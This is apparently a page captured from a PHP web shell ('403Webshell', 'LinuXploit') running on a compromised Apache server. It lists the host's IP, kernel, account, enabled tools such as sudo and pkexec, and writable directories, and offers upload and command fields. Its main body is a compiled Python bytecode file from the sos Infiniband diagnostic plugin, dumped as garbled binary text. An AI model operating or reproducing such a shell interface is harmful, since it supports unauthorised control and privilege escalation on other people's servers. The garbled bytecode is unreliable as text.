403Webshell
Server IP : 77.50.203.18  /  Your IP : 192.168.0.10
Web Server : Apache/2.4.62 (CentOS Stream) OpenSSL/3.5.7 mpm-itk/2.4.7-04 PHP/8.4.23
System : Linux web2 5.14.0-722.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 6 09:07:51 UTC 2026 x86_64
User : warsnews.ru ( 1001)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/sos/report/plugins/__pycache__/infiniband.cpython-39.opt-1.pyc
a

ܓ�i�
�@s&ddlmZmZGdd�dee�ZdS)�)�Plugin�IndependentPluginc@s$eZdZdZdZdZdZdd�ZdS)�
InfinibandzInfiniband informationZ
infiniband)Zhardware)zlibibverbs-utilsZopensmZrdmazinfiniband-diagsc
s�|�gd��|�d�|�gd��gd�}d}|�|�rF|�|�ng}|D�]V}|�d�r`qN|�||d�D�]0}||d|d	}zRt|d
dd��0}|��}|d
kr�Wd�WqrWd�n1s�0YWnty�YqrYn0||d|d}	zXt|	d
dd��4}
|
��}|�d��s@Wd�WqrWd�n1�sV0YWnt�yzYqrYn0d|�d|���|��fdd�|D��qrqNdS)N)z/etc/ofed/openib.confz/etc/ofed/opensm.confz	/etc/rdmaz/var/log/opensm*)Zibv_deviceszibv_devinfo -vZibstatZibstatusZ
ibswitches)ZibhostsZ
iblinkinfoZsminfoZ	perfqueryz/sys/class/infiniband/Zhfiz/portsz/ports/z/link_layer�rzUTF-8)�encodingzInfiniBand
z/statez	: ACTIVE
z-C z -P csg|]}|�d����qS)� �)�.0�c�Zoptsr�A/usr/lib/python3.9/site-packages/sos/report/plugins/infiniband.py�
<listcomp>L�z$Infiniband.setup.<locals>.<listcomp>)	Z
add_copy_specZadd_cmd_outputZ
path_isdir�listdir�
startswith�open�readline�IOError�endswith)�selfZ
ports_cmdsZ	ib_sysdirZib_devsZibdev�portZlfileZlink_fpZ
link_layerZsfileZstate_fp�staterrr�setups8
	

2
4
zInfiniband.setupN)�__name__�
__module__�__qualname__Z
short_descZplugin_nameZprofilesZpackagesrrrrrrs
rN)Zsos.report.pluginsrrrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit